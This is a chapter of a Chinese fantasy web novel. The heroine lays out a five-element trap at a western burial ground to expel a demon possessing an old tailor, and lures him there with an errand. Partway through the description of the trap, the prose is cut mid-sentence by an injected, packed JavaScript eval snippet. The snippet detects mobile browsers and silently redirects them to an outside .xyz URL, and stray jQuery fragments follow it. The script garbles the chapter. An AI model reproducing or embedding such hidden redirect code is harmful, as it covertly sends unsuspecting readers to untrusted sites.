天光微亮,傅晚棠坐在沈遇小院的朽木墩前。她万万没想到,这翻墙出入的小院,竟成了她作战前的临时据点,毕竟海棠院较这偏僻小院来出入来十分不便。
一张略显粗糙的西郊地形草图摊在木墩上,几个墨圈格外醒目。
沈遇从厢房走出,他给傅晚棠续上茶水:“小棠姑娘,可理出些头绪了?”
傅晚棠揉了揉眉心:“附形邪魔狡诈异常,眼下首要之务是必须先将它从李平老丈的身体里逼出来!但裁缝铺四邻密集,动手的动静会惊动街坊,引来恐慌不说更易伤及无辜。最棘手的是,一旦被它遁走,再想寻它无异于大海捞针,后患无穷!”
傅晚棠指尖落在一处被墨圈重点标记的地方:“我思来想去,唯有请君入瓮,另择一地动手。”
沈遇顺着她的指尖看去:“西郊义庄……”他眉头微蹙,像是不解:“恕沈某外行多嘴,义庄乃阴郁汇聚之地。选在那儿岂非让邪魔如鱼得水?”
“沈兄正解!此举确实与火中取栗无异。”傅晚棠叹了口气:“附形邪魔畏阳盛,天性趋阴。若在阳气炽盛之处设伏,它便感知到威胁,不会轻易上当。是以只能以义庄阴气让其放松警惕,诱其深入,再以阵法锁死。”
沈遇恍然点头由衷赞道:“虚则实之,实则虚之。小棠姑娘此计真是妙极!然这以阵法锁死又是何意?”
“我欲布五行流转之阵。”傅晚棠指尖在草图上画出五道弧线,连成个闭环,“此阵根基在于五行相生相克,循环不息,自成一方小天地。一旦邪魔被祛除出李平身体陷入阵中,任它如何凶戾挣扎,也休想破阵而出!”
见傅晚棠有问必答,沈遇心思通透:“可有沈某能效劳之处?”
就说这沈遇是个妙人儿,真是闻琴知雅意。傅晚棠用“你很有前途”的眼光看着沈遇:“此阵需按五行方位埋下相应器具,暗合相生相克之理,形成循环之势。可若提前激活阵法使其流转,极易被邪魔感知,打草惊蛇。因此阵法需先处于静默状态,只待目标踏入核心才能激发。这激发的引子便是成败关键。”
沈遇立刻明白了:“所以需要一个在目标入瓮后能激活整个阵法流转的开关?”
“孺子可教也!”傅晚棠半是真心半是假意赞叹,“我思虑再三,决定借火生土之力将激活点设在阵法边缘的火位上。我会事先在火位埋好硫磺、硝石与干透的艾草绒,届时便需劳烦沈兄以这燧石相击,迸发火星点燃之!火位一燃,火生土,中央土位阵眼立时激活。土位动,则土生金,金生水,水生木,木生火。五行之力瞬间贯通流转,生生不息,大阵即成!”
傅晚棠强调:“火位远离核心,届时沈兄方便远离。”
沈遇接过傅晚棠递过来的两颗黑色燧石:“小棠姑娘放心!沈某定不辱命!”
傅晚棠看着这身形消瘦脸色苍白的书生,仍不明白自己为何将如此重要的一环交付给认识几天的人。可是潜意里,她觉得此人是可信任的。
傅晚棠回到海棠院,刚换了身家常衣裳,彩如便匆匆来报:“太夫人,前头大夫人身边的姐姐前来传话说大老爷和大夫人带着星少爷和月小姐从庄子上回来了,巳时要过来海棠院给您请安。”
傅晚棠略感意外,沈舟夫妇常住西郊庄园,鲜少进城。今日突然带着孙辈前来倒是稀奇,奈何她此刻满脑子都是布阵引魔之事,哪有心思应付这些虚礼,正想摆手让彩如去回绝,可话到嘴边却又顿住了,一个念头在她脑海闪过。
她沉吟片刻:“知道了,你去请厨房备些精致点心和蜂蜜水,若他们来了就请在前厅落座,我立时就过去。”说完她又在彩如耳边低语几句,彩如听得眼睛睁大,却还是点头应下而去。
巳时正刻,沈舟夫妇领着一对孙儿孙女准时踏入海棠院前厅。
“太夫人安好。”沈舟夫妇行了个礼,两个孩子也被引导着问安。沈舟三岁的孙子星星儿穿着宝蓝色小袄,粉雕玉琢,毫不怕生。旁边的小姑娘正是几日前见过的月牙儿,依旧怯生生的。
“不必多礼,坐吧。”傅晚棠在主位坐下,脸上挂着温和笑容。
拜见无非是寒暄些家长里短,林氏絮叨着海棠院伺候的人手不足,合该再添几个人。傅晚棠含笑应对,适时命彩如奉上点心和饮品。
接下来的半个时辰,傅晚棠堪称“热情周到”。杏仁酪、温蜂蜜水、甜豆浆……变着花样劝星星儿和月牙儿饮用。月牙儿年纪大些,又有女孩儿的矜持,浅尝辄止便罢了。星星儿却不同,正是贪嘴的年纪,见甜水便欢喜,杯盏空了便嚷着要添。一旁的乳娘面露忧色,觑着大太太脸色却不敢多言。林氏虽觉诧异,转念一想傅晚棠身份尴尬无有子嗣,许是格外喜欢孩童,便也未加阻拦。
果然没过多久,星星儿便开始扭着身子,小脸憋得通红。奶娘连忙道:“小少爷这是要去方便。”
傅晚棠立刻道:“彩如,你熟悉海棠院的路径,带小少爷去净房,仔细照看。”
彩如应声上前,小心翼翼地抱起星星儿。林氏微觉不妥,想说让乳娘跟着,欲言又止,最终只叮嘱了句:“好生看着。”傅晚棠目光与彩如短暂交汇,微不可察地点了下头。
待彩如带着星星儿走远,三人依旧有一搭没一搭地说着话,直到彩如带着星星儿回来,这场请安才算结束。
未时,西郊义庄。
荒草萋萋,些许枯树立在缓坡之上,枝桠虬结。坡后是荆棘密布荒冢累累的乱葬岗,阴气弥漫不散。
傅晚棠先在四周仔细勘察一番,确认无人后才开始布阵。
金位兑西,她行至西侧土质坚实处,用小铲掘出浅坑。先将数百枚铜钱铺在坑底,然后将铜钱剑置于其上。最后用薄土覆上,以枯草败叶稍作遮掩。
木位震东,坡东缘有几丛低矮的荆棘灌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230934|181777||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
木,傅晚棠选定其中一丛旁侧,取出一根尺余长的桃木剑,然后一个用力将其钉入地下,直至仅余剑柄露在外面。
水位坎北,北侧背阴处,傅晚棠从溪边取回活水灌入带来的小瓦坛中封好坛口。将瓦坛小心放入挖好的小坑之中,再仔细掩埋好泥土。
火位离南,此位作为大阵开关尤为重要。坡地最南端地势略高,旁边有几株矮树及茂密草丛,傅晚棠便选在这处,便于沈遇藏身。她在此挖掘了一个浅坑,将厚油纸包裹的硫磺粉、硝石沫与干透的艾草绒小心放入。覆土后她特意留了个记号便于沈遇发现。
土位中央,坡地中央略平整处,傅晚棠取出带来的灶心土,与现场黄土仔细混合,然后以脚反复踏实,让人一眼看不出。
做完这一切,傅晚棠额头已满是汗珠。她站在坡地中央眼神从五行定位一一扫过,心道五行流转之阵已成,只待明日激活便可,只望一切顺利才好。
返回城中时,夕阳正将天边染成金红。傅晚棠没有回沈宅,而是径直走向李记裁缝铺。
铺子依旧昏暗,李平蜷缩在角落,眼神呆滞地盯着地面。王氏和丈夫正在制衣,见傅晚棠进来,连忙放下针线迎上来。
傅晚棠将她拉到柜台后,避开李平的视线,低声道:“王娘子,李老丈的情况如何了?”
王氏眼圈一红:“姑娘,您给的药丸确实有用,爹白日里安静多了,可一到夜里就……”
“那药丸只能固本,并不能驱邪。”傅晚棠打断她:“因表弟之事我到处寻人打听,竟真从一位神婆处探听得一法或可治李老丈这种情况,今日特来告知你。”
王氏激动的抓住傅晚棠的衣袖:“是何方法,姑娘请讲!”
“这法子叫送阴扶正之法。”傅晚棠刻意停顿了一下然后才道:“西郊坡上不是有个义庄吗?说来也是巧,那义庄的管事是我家一位远房表亲。他前日托人捎信来说庄里新收了几位苦命的,走得仓促连身像样的上路衣裳都没有,实在可怜。想托人赶制几件像样的衣服,工钱料子钱如实给。我立刻便想到了李老丈。若老丈能亲手将做好的衣裳送去,一则算行善积德,二则带着送行的因果,或能借此良机祛除缠身的晦气,扶正自身阳气,此乃神婆口中的送阴扶正之法。”
王氏看着傅晚棠的眼神,又看看角落里日渐枯槁的公公,眼神松动。
傅晚棠又道:“明日酉时初刻,我远房表兄会在义庄坡地等候。你只需明日哄着老丈抱着衣裳过去就行,我也会在旁照应,确保万无一失。”
王氏想着此法无论是否成功,于自己反正无甚坏处,她点点头,紧紧抓住傅晚棠的手:“好!我信姑娘!我这就把衣裳赶出来!”
傅晚棠走出裁缝铺时,天上月亮已隐约可见。九月十三日的月亮将圆未圆,她呼出一口气,明日酉时,便是与附形邪魔了断之时。
只盼一切顺利!